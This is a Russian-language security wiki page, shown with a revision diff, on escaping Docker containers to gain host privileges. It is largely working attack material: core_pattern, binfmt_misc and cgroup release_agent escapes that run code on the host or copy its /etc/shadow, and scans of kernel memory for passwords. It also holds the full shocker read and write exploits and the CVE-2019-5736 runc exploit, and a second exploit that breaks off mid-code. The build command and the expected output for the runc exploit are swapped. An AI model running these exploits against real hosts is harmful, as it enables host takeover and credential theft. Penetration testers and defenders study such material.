Docker escape — различия между версиями
Drakylar (обсуждение | вклад) м (→Mounts) |
Drakylar (обсуждение | вклад) м (→Mounts) |
||
Строка 152: | Строка 152: | ||
=== /proc/config.gz === | === /proc/config.gz === | ||
+ | Информация о хостовой системе (ядре), которая может помочь при побеге из контейнера. | ||
+ | |||
+ | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" > | ||
+ | cd /tmp; | ||
+ | cp /proc/config.gz . | ||
+ | gzip -d config.gz | ||
+ | cat config | ||
+ | </syntaxhighlight> | ||
=== /proc/sysrq-trigger === | === /proc/sysrq-trigger === | ||
+ | |||
+ | Если мы можем записывать по адресу /proc/sysrq-trigger, то это позволяет нам (не только): | ||
+ | |||
+ | 1. Перезапустить систему | ||
+ | |||
+ | 2. вызвать sync(2) syscall | ||
+ | |||
+ | 3. перемаунтить файловую систему как read-only | ||
+ | |||
+ | 4. Вызвать отладчики ядра | ||
+ | |||
+ | Пример перезапуска системы: | ||
+ | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" > | ||
+ | echo b > /proc/sysrq-trigger | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | Проверка файловой системы (read-only): | ||
+ | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" > | ||
+ | echo 1 > /proc/sysrq-trigger | ||
+ | </syntaxhighlight> | ||
=== /proc/kmsg === | === /proc/kmsg === | ||
+ | Позволяет получить доступ к сообщениям kernel ring (обычно доступные через dmesg). | ||
+ | |||
+ | По большей части только раскрывает информацию о ядре, которая позже может пригодиться при побеге из контейнера. | ||
=== /proc/kallsyms === | === /proc/kallsyms === | ||
+ | Тоже информация о ядре. | ||
=== /proc/*/mem === | === /proc/*/mem === | ||
+ | Это интерфейс к устройству ядра /dev/mem. | ||
+ | |||
+ | Есть старая CVE на повышение через это - CVE-2012-0056. | ||
+ | |||
+ | Подробнее про уязвимость: https://git.zx2c4.com/CVE-2012-0056/about/ | ||
=== /proc/kcore === | === /proc/kcore === | ||
+ | Это представление физической системы в формате ELF. | ||
+ | Если у вас есть возможность читать этот файл, то вы можете прочитать фрагменты памяти чем вызвать memory leak. | ||
+ | |||
+ | |||
+ | Инструкция как дампить память: https://schlafwandler.github.io/posts/dumping-/proc/kcore/ | ||
=== /proc/kmem === | === /proc/kmem === | ||
+ | |||
+ | Представление устройства /dev/kmem, позволяет напрямую читать и редактировать оперативную память ядра. | ||
+ | |||
+ | |||
+ | Ищем по памяти подстроку PASS: | ||
+ | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" > | ||
+ | strings /proc/kmem -n10 | grep -i PASS | ||
+ | </syntaxhighlight> | ||
=== /proc/mem === | === /proc/mem === | ||
+ | Представление устройства /dev/kmem, позволяет напрямую читать и редактировать физическую память ядра. | ||
+ | |||
+ | |||
+ | Ищем по памяти подстроку PASS: | ||
+ | <syntaxhighlight lang="bash" line="1" enclose="div" style="overflow-x:auto" > | ||
+ | strings /proc/mem -n10 | grep -i PASS | ||
+ | </syntaxhighlight> | ||
=== /proc/sched_debug === | === /proc/sched_debug === | ||
+ | Возвращает информацию о задачах по расписанию у хостовой системы. | ||
+ | |||
+ | Позволяет например обойти PID-ограничения и узнать айди процессов хоста. | ||
=== /proc/*/mountinfo === | === /proc/*/mountinfo === | ||
+ | Информация о Mount Points в рабочем пространстве процесса | ||
=== /sys/kernel/uevent_helper === | === /sys/kernel/uevent_helper === |
Версия 06:45, 16 марта 2022
Статья посвящена повышению привилегий из докер-контейнера в зависимости от предоставленного доступа.
Содержание
- 1 SSRF
- 2 Local file reading
- 3 Remote code execution
- 3.1 Mounts
- 3.1.1 /proc/sys
- 3.1.2 /proc/config.gz
- 3.1.3 /proc/sysrq-trigger
- 3.1.4 /proc/kmsg
- 3.1.5 /proc/kallsyms
- 3.1.6 /proc/*/mem
- 3.1.7 /proc/kcore
- 3.1.8 /proc/kmem
- 3.1.9 /proc/mem
- 3.1.10 /proc/sched_debug
- 3.1.11 /proc/*/mountinfo
- 3.1.12 /sys/kernel/uevent_helper
- 3.1.13 /sys/class/thermal
- 3.1.14 /sys/kernel/vmcoreinfo
- 3.1.15 /sys/kernel/security
- 3.1.16 /sys/firmware/efi/vars
- 3.1.17 /sys/firmware/efi/efivars
- 3.1.18 /sys/kernel/debug =
- 3.2 Capabilities
- 3.3 CVE
- 3.4 Sockets
- 3.5 Privileged container
- 3.1 Mounts
- 4 Ссылки
SSRF
Доступ, когда можно только делать запросы по различным протоколам.
Суть в том, что в случае с SSRF можно делать запросы кроме файлов еще и на сторонние сервисы. Эти сервисы как правило запущены не в том же контейнере, а на соседнем с виртуальной сетью (это быстро настраивается с docker-compose).
Это повышение привелегий горизонтальное, но позволяет перейти на другой контейнер
Local file reading
Доступ, когда можно только читать локальные файлы контейнера.
Host volumes mount
В случае, если настройками докера были примонтированы хостовые директории, то тогда можно поискать в них критичные файлы конфигов, ключей, паролей и тд.
Например, корневая директория хостовой системы может быть доступна по адресу /host_root/.
kubernetes
environ
В контейнеры часто передают ключевую информацию в переменные окружения, поэтому советую прочитать файлы /proc/*/environ для поиска секретов.
Например, файл текущего процесса /proc/self/environ
Remote code execution
Mounts
Многие директории хоста в случае доступа из контейнера, позволяют, например, получить исполнение кода на хостовой машине.
/proc/sys
Позволяет редактировать переменные ядра
/proc/sys/kernel/core_pattern
Позволяет запустить произвольный код от имени рута на хостовой системе. Требуются права записи.
Кратко: определяем программу через символ pipe которая будет запущена если программа сломается.
Уточняю, но предварительно для эксплуатации требуется:
1. Права изменения файла /proc/sys/kernel/core_pattern
2. Права создания файла где то в известном месте на хостовой машине
3. На созданный файл chmod +x
1 cd /proc/sys/kernel
2 echo "|$overlay/shell.sh" > core_pattern
3 sleep 5 && ./crash
/proc/sys/kernel/modprobe
Содержить путь до kernel module loader, который используется когда вы подгружаете модуль ядра например через команду modprobe.
Поэтому вам требуется право на запись в этот файл, чтобы поменять путь до вашего исполняемого файла.
Пример содержимого файла:
1 $ cat /proc/sys/kernel/modprobe
2 /sbin/modprobe
/proc/sys/fs
Директория с файлами конфигураций файловой системы: inode, file handler, quota и тд.
Как правило, позволяет провести только атаки DoS
/proc/sys/fs/binfmt_misc
В дополнение к предыдущему пункту. Файл нужен для определения того, через какую программу будут исполняться файлы (например, DOS приложения через wine elf).
Для эксплуатации требуется возможность записать файлы.
Тестовая инфраструктура :
1 sudo docker run --security-opt apparmor:unconfirned --cap-add=SYS_ADMIN -it ubuntu /bin/bash
2 apt update
3 apt-get install libcap2-bin gdb
4 capsh --print
Пример эксплуатации (перезаписывание #!/bin/sh интерпретатора):
1 # Можен понадобиться перемонтирование (хотя мб не хватит прав)
2 mount binfmt_misc -t binfmt_misc /proc/sys/fs/binfmt_misc
3 mount -o rw,remount /proc/sys
4 # Получение пути с хостовой машины до файловой системы контейнера - мб нет прав
5 mount | grep upperdir
6
7 cd /tmp/
8 # Создаем файл который при выполнении скопирует /etc/shadow с хостовой системы в контейнер
9 echo 'cat /etc/shadow > /var/lib/docker/overlay2/<docker_container_id>/diff/tmp/shadow' > test.sh
10 chmod +x test.sh
11
12 # Добавляем новое определение #!/bin/sh:
13 echo ':test:M::\x23\x21\x2f\x62\x69\x6e\x2f\x73\x68::/var/lib/docker/overlay2/<docker_container_id>/diff/tmp/test.sh:' > /proc/sys/fs/binfmt_misc/register
14
15 # Ждем пока на хостовой системе запустят файл который начинается с #!/bin/sh
16 ./test_file.sh
17
18 # читаем файл shadow скопированный в контейнер
19 cat /tmp/shadow
Пример эксплуатации (перезаписывание команды ls):
1 mount binfmt_misc -t binfmt_misc /proc/sys/fs/binfmt_misc
2 mount -o rw,remount /proc/sys
3 # Получение пути с хостовой машины до файловой системы контейнера - мб нет прав
4 mount | grep upperdir
5
6 cd /tmp/
7 # Создаем файл который при выполнении скопирует /etc/shadow с хостовой системы в контейнер
8 echo -e '$#/bin/bash\ncat /etc/shadow > /var/lib/docker/overlay2/<docker_container_id>/diff/tmp/shadow' > test.sh
9 chmod +x test.sh
10
11 # Добавляем новое определение команды ls:
12 echo ':test:M:208:\xd0\x35::/var/lib/docker/overlay2/<docker_container_id>/diff/tmp/test.sh:' > /proc/sys/fs/binfmt_misc/register
13
14 # Ждем пока на хостовой системе запустят команду ls
15 ls
16
17 # читаем файл shadow скопированный в контейнер
18 cat /tmp/shadow
Утилита для эксплуатации (не в докере): https://github.com/toffan/binfmt_misc
Презентация с описанием атак (в докере): https://conference.hitb.org/hitbsecconf2021sin/materials/D2T2%20-%20Ccntainer%20Escape%20in%202021%20-%20Li%20Qiang.pdf
/proc/config.gz
Информация о хостовой системе (ядре), которая может помочь при побеге из контейнера.
1 cd /tmp;
2 cp /proc/config.gz .
3 gzip -d config.gz
4 cat config
/proc/sysrq-trigger
Если мы можем записывать по адресу /proc/sysrq-trigger, то это позволяет нам (не только):
1. Перезапустить систему
2. вызвать sync(2) syscall
3. перемаунтить файловую систему как read-only
4. Вызвать отладчики ядра
Пример перезапуска системы:
1 echo b > /proc/sysrq-trigger
Проверка файловой системы (read-only):
1 echo 1 > /proc/sysrq-trigger
/proc/kmsg
Позволяет получить доступ к сообщениям kernel ring (обычно доступные через dmesg).
По большей части только раскрывает информацию о ядре, которая позже может пригодиться при побеге из контейнера.
/proc/kallsyms
Тоже информация о ядре.
/proc/*/mem
Это интерфейс к устройству ядра /dev/mem.
Есть старая CVE на повышение через это - CVE-2012-0056.
Подробнее про уязвимость: https://git.zx2c4.com/CVE-2012-0056/about/
/proc/kcore
Это представление физической системы в формате ELF. Если у вас есть возможность читать этот файл, то вы можете прочитать фрагменты памяти чем вызвать memory leak.
Инструкция как дампить память: https://schlafwandler.github.io/posts/dumping-/proc/kcore/
/proc/kmem
Представление устройства /dev/kmem, позволяет напрямую читать и редактировать оперативную память ядра.
Ищем по памяти подстроку PASS:
1 strings /proc/kmem -n10 | grep -i PASS
/proc/mem
Представление устройства /dev/kmem, позволяет напрямую читать и редактировать физическую память ядра.
Ищем по памяти подстроку PASS:
1 strings /proc/mem -n10 | grep -i PASS
/proc/sched_debug
Возвращает информацию о задачах по расписанию у хостовой системы.
Позволяет например обойти PID-ограничения и узнать айди процессов хоста.
/proc/*/mountinfo
Информация о Mount Points в рабочем пространстве процесса
/sys/kernel/uevent_helper
/sys/class/thermal
/sys/kernel/vmcoreinfo
/sys/kernel/security
/sys/firmware/efi/vars
/sys/firmware/efi/efivars
/sys/kernel/debug =
Capabilities
Получить список возможных capabilities:
1 capsh --print
Или сложнее:
1 cat /proc/self/status | grep Cap
Пример вывода:
1 CapInh: 0000000000000000
2 CapPrm: 0000003fffffffff
3 CapEff: 0000003fffffffff
4 CapBnd: 0000003fffffffff
5 CapAmb: 0000000000000000
Чтобы декодировать:
1 capsh --decode=0000003fffffffff
2 0x0000003fffffffff=cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,37
Тестовая инфраструктура для произвольной capability:
1 sudo docker run --cap-add название_capability -it ubuntu /bin/bash
2 apt update
3 apt-get install libcap2-bin gdb
4 capsh --print
CAP_SYS_CHROOT
Доступ к системному вызову:
1 chroot(2)
По идее может помочь при chroot, но реальных примеров не нашел.
Может помочь утилита https://github.com/earthquake/chw00t/
CAP_SYS_ADMIN
Эта capability позволяет получить максимальные права. В своем роде alias на другие.
Позволяет зарегистрировать usermode-приложение которое запустится в контексте ядра.
Cм. CAP_SYS_MODULE capability.
Также в случае read-only файловой системой, позволяет примонтировать файловую систему с возможностью записи командой:
1 mount -o rw,remount /hostlogs/
Второй вариант - использовать release_agent feature:
1 mkdir /tmp/cgrp
2 mount -t cgroup -o rdma cgroup /tmp/cgrp
3 # если ошибка, то выполните эту команду
4 # mount -t cgroup -o memory cgroup /tmp/cgrp
5 mkdir /tmp/cgrp/x
6 echo 1 > /tmp/cgrp/x/notify_on_release
7 host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
8 echo "$host_path/cmd" > /tmp/cgrp/release_agent
9 echo "#!/bin/sh" > /cmd
10 echo "ps aux > $host_path/output" >> /cmd
11 chmod a+x /cmd
12 sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
13 cat /output
CAP_SYS_PTRACE + host pid
Эксплуатация возможна только, если есть параметр --pid=host при запуске контейнера (позволяет работать с хостовыми процессами).
Тестовая инфраструктура:
1 sudo docker run --cap-add CAP_SYS_PTRACE --pid=host -it ubuntu /bin/bash
2 apt update
3 apt-get install libcap2-bin gdb
4 capsh --print
Далее по инструкции тут https://blog.pentesteracademy.com/privilege-escalation-by-abusing-sys-ptrace-linux-capability-f6e6ad2a59cc
Кратко: 1. Ищем нужный хостовой процесс (скорее всего рутовый) 2. Запускаем gdb -p PID 3. Встраиваем инструкции (шеллкод) 4. Запускаем инструкции
CAP_SYS_MODULE
Позволяет модифицировать ядро.
Тестовая инфраструктура:
1 sudo docker run --cap-add CAP_SYS_MODULE -it ubuntu /bin/bash
2 apt update
3 apt-get install libcap2-bin gdb
4 capsh --print
Доступ к системным вызовам:
1 init_module(2)
2 finit_module(2)
3 delete_module(2)
Инструкция по написанию модуля ядра https://blog.pentesteracademy.com/abusing-sys-module-capability-to-perform-docker-container-breakout-cf5c29956edd
CAP_DAC_READ_SEARCH
Позволяет прочитать содержимое файлов хостовой системы.
Тестовая инфраструктура:
1 sudo docker run --cap-add DAC_READ_SEARCH -it ubuntu /bin/bash
2 apt update
3 apt-get install libcap2-bin gdb
4 capsh --print
Инструкция по эксплуатации https://book.hacktricks.xyz/linux-unix/privilege-escalation/linux-capabilities#cap_dac_read_search
Чтение хостового файла
1 cd /tmp
2 apt update
3 apt install gcc wget nano
4 wget http://stealth.openwall.net/xSports/shocker.c
5
6 # Получаете список mount и ищите файлы, которы примонтированы из хостовой системы. Как правило это .dockerinit, /etc/resolv.conf, /etc/hosts, /etc/hostname .
7 mount
8
9
10 # заменяете в файле shocker.c путь .dockerinit на найденный вами путь
11 # и заменяем /etc/shadow на файл который хотите прочитать
12 nano shocker.c
13
14 # компиляция
15 gcc shocker.c
16
17 # чтение файла
18 ./a.out
Содержимое файла shocker.c:
1 /* shocker: docker PoC VMM-container breakout (C) 2014 Sebastian Krahmer
2 *
3 * Demonstrates that any given docker image someone is asking
4 * you to run in your docker setup can access ANY file on your host,
5 * e.g. dumping hosts /etc/shadow or other sensitive info, compromising
6 * security of the host and any other docker VM's on it.
7 *
8 * docker using container based VMM: Sebarate pid and net namespace,
9 * stripped caps and RO bind mounts into container's /. However
10 * as its only a bind-mount the fs struct from the task is shared
11 * with the host which allows to open files by file handles
12 * (open_by_handle_at()). As we thankfully have dac_override and
13 * dac_read_search we can do this. The handle is usually a 64bit
14 * string with 32bit inodenumber inside (tested with ext4).
15 * Inode of / is always 2, so we have a starting point to walk
16 * the FS path and brute force the remaining 32bit until we find the
17 * desired file (It's probably easier, depending on the fhandle export
18 * function used for the FS in question: it could be a parent inode# or
19 * the inode generation which can be obtained via an ioctl).
20 * [In practise the remaining 32bit are all 0 :]
21 *
22 * tested with docker 0.11 busybox demo image on a 3.11 kernel:
23 *
24 * docker run -i busybox sh
25 *
26 * seems to run any program inside VMM with UID 0 (some caps stripped); if
27 * user argument is given, the provided docker image still
28 * could contain +s binaries, just as demo busybox image does.
29 *
30 * PS: You should also seccomp kexec() syscall :)
31 * PPS: Might affect other container based compartments too
32 *
33 * $ cc -Wall -std=c99 -O2 shocker.c -static
34 */
35
36 #define _GNU_SOURCE
37 #include <stdio.h>
38 #include <sys/types.h>
39 #include <sys/stat.h>
40 #include <fcntl.h>
41 #include <errno.h>
42 #include <stdlib.h>
43 #include <string.h>
44 #include <unistd.h>
45 #include <dirent.h>
46 #include <stdint.h>
47
48
49 struct my_file_handle {
50 unsigned int handle_bytes;
51 int handle_type;
52 unsigned char f_handle[8];
53 };
54
55
56
57 void die(const char *msg)
58 {
59 perror(msg);
60 exit(errno);
61 }
62
63
64 void dump_handle(const struct my_file_handle *h)
65 {
66 fprintf(stderr,"[*] #=%d, %d, char nh[] = {", h->handle_bytes,
67 h->handle_type);
68 for (int i = 0; i < h->handle_bytes; ++i) {
69 fprintf(stderr,"0x%02x", h->f_handle[i]);
70 if ((i + 1) % 20 == 0)
71 fprintf(stderr,"\n");
72 if (i < h->handle_bytes - 1)
73 fprintf(stderr,", ");
74 }
75 fprintf(stderr,"};\n");
76 }
77
78
79 int find_handle(int bfd, const char *path, const struct my_file_handle *ih, struct my_file_handle *oh)
80 {
81 int fd;
82 uint32_t ino = 0;
83 struct my_file_handle outh = {
84 .handle_bytes = 8,
85 .handle_type = 1
86 };
87 DIR *dir = NULL;
88 struct dirent *de = NULL;
89
90 path = strchr(path, '/');
91
92 // recursion stops if path has been resolved
93 if (!path) {
94 memcpy(oh->f_handle, ih->f_handle, sizeof(oh->f_handle));
95 oh->handle_type = 1;
96 oh->handle_bytes = 8;
97 return 1;
98 }
99 ++path;
100 fprintf(stderr, "[*] Resolving '%s'\n", path);
101
102 if ((fd = open_by_handle_at(bfd, (struct file_handle *)ih, O_RDONLY)) < 0)
103 die("[-] open_by_handle_at");
104
105 if ((dir = fdopendir(fd)) == NULL)
106 die("[-] fdopendir");
107
108 for (;;) {
109 de = readdir(dir);
110 if (!de)
111 break;
112 fprintf(stderr, "[*] Found %s\n", de->d_name);
113 if (strncmp(de->d_name, path, strlen(de->d_name)) == 0) {
114 fprintf(stderr, "[+] Match: %s ino=%d\n", de->d_name, (int)de->d_ino);
115 ino = de->d_ino;
116 break;
117 }
118 }
119
120 fprintf(stderr, "[*] Brute forcing remaining 32bit. This can take a while...\n");
121
122
123 if (de) {
124 for (uint32_t i = 0; i < 0xffffffff; ++i) {
125 outh.handle_bytes = 8;
126 outh.handle_type = 1;
127 memcpy(outh.f_handle, &ino, sizeof(ino));
128 memcpy(outh.f_handle + 4, &i, sizeof(i));
129
130 if ((i % (1<<20)) == 0)
131 fprintf(stderr, "[*] (%s) Trying: 0x%08x\n", de->d_name, i);
132 if (open_by_handle_at(bfd, (struct file_handle *)&outh, 0) > 0) {
133 closedir(dir);
134 close(fd);
135 dump_handle(&outh);
136 return find_handle(bfd, path, &outh, oh);
137 }
138 }
139 }
140
141 closedir(dir);
142 close(fd);
143 return 0;
144 }
145
146
147 int main()
148 {
149 char buf[0x1000];
150 int fd1, fd2;
151 struct my_file_handle h;
152 struct my_file_handle root_h = {
153 .handle_bytes = 8,
154 .handle_type = 1,
155 .f_handle = {0x02, 0, 0, 0, 0, 0, 0, 0}
156 };
157
158 fprintf(stderr, "[***] docker VMM-container breakout Po(C) 2014 [***]\n"
159 "[***] The tea from the 90's kicks your sekurity again. [***]\n"
160 "[***] If you have pending sec consulting, I'll happily [***]\n"
161 "[***] forward to my friends who drink secury-tea too! [***]\n\n<enter>\n");
162
163 read(0, buf, 1);
164
165 // get a FS reference from something mounted in from outside
166 if ((fd1 = open("/.dockerinit", O_RDONLY)) < 0)
167 die("[-] open");
168
169 if (find_handle(fd1, "/etc/shadow", &root_h, &h) <= 0)
170 die("[-] Cannot find valid handle!");
171
172 fprintf(stderr, "[!] Got a final handle!\n");
173 dump_handle(&h);
174
175 if ((fd2 = open_by_handle_at(fd1, (struct file_handle *)&h, O_RDONLY)) < 0)
176 die("[-] open_by_handle");
177
178 memset(buf, 0, sizeof(buf));
179 if (read(fd2, buf, sizeof(buf) - 1) < 0)
180 die("[-] read");
181
182 fprintf(stderr, "[!] Win! /etc/shadow output follows:\n%s\n", buf);
183
184 close(fd2); close(fd1);
185
186 return 0;
187 }
CAP_DAC_OVERRIDE
Позволяет прочитать содержимое файлов хостовой системы.
Тестовая инфраструктура:
1 sudo docker run --cap-add DAC_OVERRIDE -it ubuntu /bin/bash
2 apt update
3 apt-get install libcap2-bin gdb
4 capsh --print
Запись хостового файла
Инструкция альтернативная DAC_READ_SEARCH, но запускать надо так ./a.out <путь_хостового_файла> <путь_докер_файла>
Хостовой файл будет перезаписан докер-файлом.
1 #include <stdio.h>
2 #include <sys/types.h>
3 #include <sys/stat.h>
4 #include <fcntl.h>
5 #include <errno.h>
6 #include <stdlib.h>
7 #include <string.h>
8 #include <unistd.h>
9 #include <dirent.h>
10 #include <stdint.h>
11
12 // gcc shocker_write.c -o shocker_write
13 // ./shocker_write /etc/passwd passwd
14
15 struct my_file_handle {
16 unsigned int handle_bytes;
17 int handle_type;
18 unsigned char f_handle[8];
19 };
20 void die(const char * msg) {
21 perror(msg);
22 exit(errno);
23 }
24 void dump_handle(const struct my_file_handle * h) {
25 fprintf(stderr, "[*] #=%d, %d, char nh[] = {", h -> handle_bytes,
26 h -> handle_type);
27 for (int i = 0; i < h -> handle_bytes; ++i) {
28 fprintf(stderr, "0x%02x", h -> f_handle[i]);
29 if ((i + 1) % 20 == 0)
30 fprintf(stderr, "\n");
31 if (i < h -> handle_bytes - 1)
32 fprintf(stderr, ", ");
33 }
34 fprintf(stderr, "};\n");
35 }
36 int find_handle(int bfd, const char *path, const struct my_file_handle *ih, struct my_file_handle *oh)
37 {
38 int fd;
39 uint32_t ino = 0;
40 struct my_file_handle outh = {
41 .handle_bytes = 8,
42 .handle_type = 1
43 };
44 DIR * dir = NULL;
45 struct dirent * de = NULL;
46 path = strchr(path, '/');
47 // recursion stops if path has been resolved
48 if (!path) {
49 memcpy(oh -> f_handle, ih -> f_handle, sizeof(oh -> f_handle));
50 oh -> handle_type = 1;
51 oh -> handle_bytes = 8;
52 return 1;
53 }
54 ++path;
55 fprintf(stderr, "[*] Resolving '%s'\n", path);
56 if ((fd = open_by_handle_at(bfd, (struct file_handle * ) ih, O_RDONLY)) < 0)
57 die("[-] open_by_handle_at");
58 if ((dir = fdopendir(fd)) == NULL)
59 die("[-] fdopendir");
60 for (;;) {
61 de = readdir(dir);
62 if (!de)
63 break;
64 fprintf(stderr, "[*] Found %s\n", de -> d_name);
65 if (strncmp(de -> d_name, path, strlen(de -> d_name)) == 0) {
66 fprintf(stderr, "[+] Match: %s ino=%d\n", de -> d_name, (int) de -> d_ino);
67 ino = de -> d_ino;
68 break;
69 }
70 }
71 fprintf(stderr, "[*] Brute forcing remaining 32bit. This can take a while...\n");
72 if (de) {
73 for (uint32_t i = 0; i < 0xffffffff; ++i) {
74 outh.handle_bytes = 8;
75 outh.handle_type = 1;
76 memcpy(outh.f_handle, & ino, sizeof(ino));
77 memcpy(outh.f_handle + 4, & i, sizeof(i));
78 if ((i % (1 << 20)) == 0)
79 fprintf(stderr, "[*] (%s) Trying: 0x%08x\n", de -> d_name, i);
80 if (open_by_handle_at(bfd, (struct file_handle * ) & outh, 0) > 0) {
81 closedir(dir);
82 close(fd);
83 dump_handle( & outh);
84 return find_handle(bfd, path, & outh, oh);
85 }
86 }
87 }
88 closedir(dir);
89 close(fd);
90 return 0;
91 }
92 int main(int argc, char * argv[]) {
93 char buf[0x1000];
94 int fd1, fd2;
95 struct my_file_handle h;
96 struct my_file_handle root_h = {
97 .handle_bytes = 8,
98 .handle_type = 1,
99 .f_handle = {
100 0x02,
101 0,
102 0,
103 0,
104 0,
105 0,
106 0,
107 0
108 }
109 };
110 fprintf(stderr, "[***] docker VMM-container breakout Po(C) 2014 [***]\n"
111 "[***] The tea from the 90's kicks your sekurity again. [***]\n"
112 "[***] If you have pending sec consulting, I'll happily [***]\n"
113 "[***] forward to my friends who drink secury-tea too! [***]\n\n<enter>\n");
114 read(0, buf, 1);
115 // get a FS reference from something mounted in from outside
116 if ((fd1 = open("/etc/hostname", O_RDONLY)) < 0)
117 die("[-] open");
118 if (find_handle(fd1, argv[1], & root_h, & h) <= 0)
119 die("[-] Cannot find valid handle!");
120 fprintf(stderr, "[!] Got a final handle!\n");
121 dump_handle( & h);
122 if ((fd2 = open_by_handle_at(fd1, (struct file_handle * ) & h, O_RDWR)) < 0)
123 die("[-] open_by_handle");
124 char * line = NULL;
125 size_t len = 0;
126 FILE * fptr;
127 ssize_t read;
128 fptr = fopen(argv[2], "r");
129 while ((read = getline( & line, & len, fptr)) != -1) {
130 write(fd2, line, read);
131 }
132 printf("Success!!\n");
133 close(fd2);
134 close(fd1);
135 return 0;
136 }
CAP_SYS_RAWIO
Доступ к следующим ресурсам:
1 /dev/mem
2 /dev/kmem
3 /proc/kcore
Редактирование параметра mmap_min_addr
А также доступ к системным вызовам:
1 ioperm(2)
2 iopl(2)
3 FIBMAP ioctl(2)
И также доступ к различным дисковым командам.
CAP_SYSLOG
Позволяет использовать syslog(2) syscall и просматривать адреса ядра в /proc (если включен /proc/sys/kernel/kptr_restrict)
Также возможно смотреть dmesg вывод.
CAP_NET_RAW
Возможность отправлять низкоуровневые пакеты.
Скорее всего применимо только для MITM-атак, в следствие которых возможно повышение привилегий на других серверах.
Требуется проброшенный интерфейс хостовой машины, иначе атаки придется проводить на NAT докер контейнеров.
CAP_NET_ADMIN
Аналогично CAP_NET_RAW
Дает возможность изменять следующие пункты:
- network namespaces' firewall
- routing tables
- socket permissions
- network interface configuration
- другие настройки
Есть старые CVE, позволяющие повысить привилегии. Примеры: CVE-2011-1019, CVE-2010-4655, CVE-2013-4514
CVE
Общий список CVE - https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list
Runc exploit (CVE-2019-5736)
Уязвимые версии: <=1.0-rc6
Техника перезаписывает /bin/sh хостовой системы, поэтому любой кто запустит docker exec, стриггерит нашу полезную нагрузку.
Ссылка на эксплоит https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go :
1 package main
2
3 // Implementation of CVE-2019-5736
4 // Created with help from @singe, @_cablethief, and @feexd.
5 // This commit also helped a ton to understand the vuln
6 // https://github.com/lxc/lxc/commit/6400238d08cdf1ca20d49bafb85f4e224348bf9d
7 import (
8 "fmt"
9 "io/ioutil"
10 "os"
11 "strconv"
12 "strings"
13 "flag"
14 )
15
16
17 var shellCmd string
18
19 func init() {
20 flag.StringVar(&shellCmd, "shell", "", "Execute arbitrary commands")
21 flag.Parse()
22 }
23
24 func main() {
25 // This is the line of shell commands that will execute on the host
26 var payload = "#!/bin/bash \n" + shellCmd
27 // First we overwrite /bin/sh with the /proc/self/exe interpreter path
28 fd, err := os.Create("/bin/sh")
29 if err != nil {
30 fmt.Println(err)
31 return
32 }
33 fmt.Fprintln(fd, "#!/proc/self/exe")
34 err = fd.Close()
35 if err != nil {
36 fmt.Println(err)
37 return
38 }
39 fmt.Println("[+] Overwritten /bin/sh successfully")
40
41 // Loop through all processes to find one whose cmdline includes runcinit
42 // This will be the process created by runc
43 var found int
44 for found == 0 {
45 pids, err := ioutil.ReadDir("/proc")
46 if err != nil {
47 fmt.Println(err)
48 return
49 }
50 for _, f := range pids {
51 fbytes, _ := ioutil.ReadFile("/proc/" + f.Name() + "/cmdline")
52 fstring := string(fbytes)
53 if strings.Contains(fstring, "runc") {
54 fmt.Println("[+] Found the PID:", f.Name())
55 found, err = strconv.Atoi(f.Name())
56 if err != nil {
57 fmt.Println(err)
58 return
59 }
60 }
61 }
62 }
63
64 // We will use the pid to get a file handle for runc on the host.
65 var handleFd = -1
66 for handleFd == -1 {
67 // Note, you do not need to use the O_PATH flag for the exploit to work.
68 handle, _ := os.OpenFile("/proc/"+strconv.Itoa(found)+"/exe", os.O_RDONLY, 0777)
69 if int(handle.Fd()) > 0 {
70 handleFd = int(handle.Fd())
71 }
72 }
73 fmt.Println("[+] Successfully got the file handle")
74
75 // Now that we have the file handle, lets write to the runc binary and overwrite it
76 // It will maintain it's executable flag
77 for {
78 writeHandle, _ := os.OpenFile("/proc/self/fd/"+strconv.Itoa(handleFd), os.O_WRONLY|os.O_TRUNC, 0700)
79 if int(writeHandle.Fd()) > 0 {
80 fmt.Println("[+] Successfully got write handle", writeHandle)
81 fmt.Println("[+] The command executed is" + payload)
82 writeHandle.Write([]byte(payload))
83 return
84 }
85 }
86 }
Команда для сборки:
1 [+] Overwritten /bin/sh successfully
После запуска эксплоита ждите надпись
1 go build main.go
После появления надписи нужно чтобы на хостовой системе запустили следующую команду которая стриггерит вашу полезную нагрузку:
1 docker exec -it <container-name> /bin/sh
Runc exploit (CVE-2021-30465)
Уязвимые версии: <=1.0.0-rc94
Уязвимость позволяет примонтировать файловую систему, которая используя симлинки примонтируется за пределы rootfs.
http://blog.champtar.fr/runc-symlink-CVE-2021-30465/
Лучше подробнее почитать по ссылке тк у контейнеров должна быть очень специфичная конфигурация.
1. Создаем симлинк
1 ln -s / /test2/test2
2. Собираем эксплоит ( http://blog.champtar.fr/runc-symlink-CVE-2021-30465/ )
1 #define _GNU_SOURCE
2 #include <fcntl.h>
3 #include <stdio.h>
4 #include <stdlib.h>
5 #include <sys/types.h>
6 #include <sys/stat.h>
7 #include <unistd.h>
8 #include <sys/syscall.h>
9
10 int main(int argc, char *argv[]) {
11 if (argc != 4) {
12 fprintf(stderr, "Usage: %s name1 name2 linkdest\n", argv[0]);
13 exit(EXIT_FAILURE);
14 }
15 char *name1 = argv[1];
16 char *name2 = argv[2];
17 char *linkdest = argv[3];
18
19 int dirfd = open(".", O_DIRECTORY|O_CLOEXEC);
20 if (dirfd < 0) {
21 perror("Error open CWD");
22 exit(EXIT_FAILURE);
23 }
24
25 if (mkdir(name1, 0755) < 0) {
